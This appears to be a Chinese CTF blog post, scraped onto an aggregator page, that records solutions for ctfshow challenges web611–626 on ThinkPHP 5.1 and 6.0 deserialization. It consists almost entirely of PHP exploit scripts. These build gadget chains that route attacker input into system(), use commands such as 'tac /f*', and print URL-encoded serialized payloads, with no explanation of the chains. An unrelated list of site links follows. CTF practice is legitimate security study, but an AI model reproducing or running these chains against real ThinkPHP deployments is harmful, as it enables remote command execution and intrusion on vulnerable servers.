当前位置: 首页 > news >正文

【Web】CTFSHOW-ThinkPHP5-6反序列化刷题记录(全)

目录

web611 

web612

web613-622

web623

web624-626


纯记录exp,链子不作赘述

web611 

具体分析:

ThinkPHP-Vuln/ThinkPHP5/ThinkPHP5.1.X反序列化利用链.md at master · Mochazz/ThinkPHP-Vuln · GitHub

题目直接给了反序列化入口

exp:

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Sentiment"=>["hello"]];$this->data = ["Sentiment"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

web612

exp:

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Sentiment"=>["hello"]];$this->data = ["Sentiment"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isPjax"]];}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

web613-622

exp

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Sentiment"=>["hello"]];$this->data = ["Sentiment"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->get = ['Z3r4y'=>'suibian'];$this->hook = ['visible'=>[$this,"__get"]];}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

web623

ThinkPHP6.0 反序列化漏洞_thinkphp6.0漏洞-CSDN博客

exp

<?php
namespace think\model\concern;
trait Attribute
{private $data = ["key"=>"tac /f*"];private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{use model\concern\Attribute;private $lazySave = true;protected $withEvent = false;private $exists = true;private $force = true;protected $name;public function __construct($obj=""){$this->name=$obj;}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));

web624-626

exp

<?phpnamespace think\model\concern;trait Attribute
{private $data = ["key" => ["key1" => "tac /f*"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];
}
namespace think;abstract class Model
{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}
}namespace think\model;use think\Model;class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);echo urlencode(serialize($b));

http://www.lryc.cn/news/337129.html

相关文章:

  • AR智能眼镜方案_MTK平台安卓主板芯片|光学解决方案
  • Android网络抓包--Charles
  • 【LeetCode热题100】238. 除自身以外数组的乘积(数组)
  • 《哈迪斯》自带的Lua解释器是哪个版本?
  • Java内存泄漏内存溢出
  • 【springboot】项目启动时打印全部接口方法
  • 单例19c RMAN数据迁移方案
  • 05—面向对象(上)
  • 【LeetCode热题100】【链表】两数相加
  • Linux命令学习—linux 的硬件管理
  • 通讯录项目(用c语言实现)
  • 让大模型落地有“技”可循
  • java:字符集和字符流
  • Java常见的设计模式
  • Oracle 19c RAC集群相关日志
  • TR4 - Transformer中的多头注意力机制
  • three.js跟着教程实现VR效果(四)
  • AI预测体彩排3第1弹【2024年4月12日预测--第1套算法开始计算第1次测试】
  • spring 中的控制反转
  • GO并发总是更快吗?
  • echarts折线图自定义打点标记小工具
  • 【图论】Leetcode 200. 岛屿数量【中等】
  • 酒店大厅装水离子雾化壁炉前和装后对比
  • 城市内涝与海绵城市规划设计中的水文水动力模拟
  • C++项目实战与经验分享
  • Day17_学点JavaEE_转发、重定向、Get、POST、乱码问题总结
  • Mouse IFN-α ELISA kit (Quick Test)
  • AMD Tensile 简介与示例
  • Rust语言
  • 排序算法之冒泡排序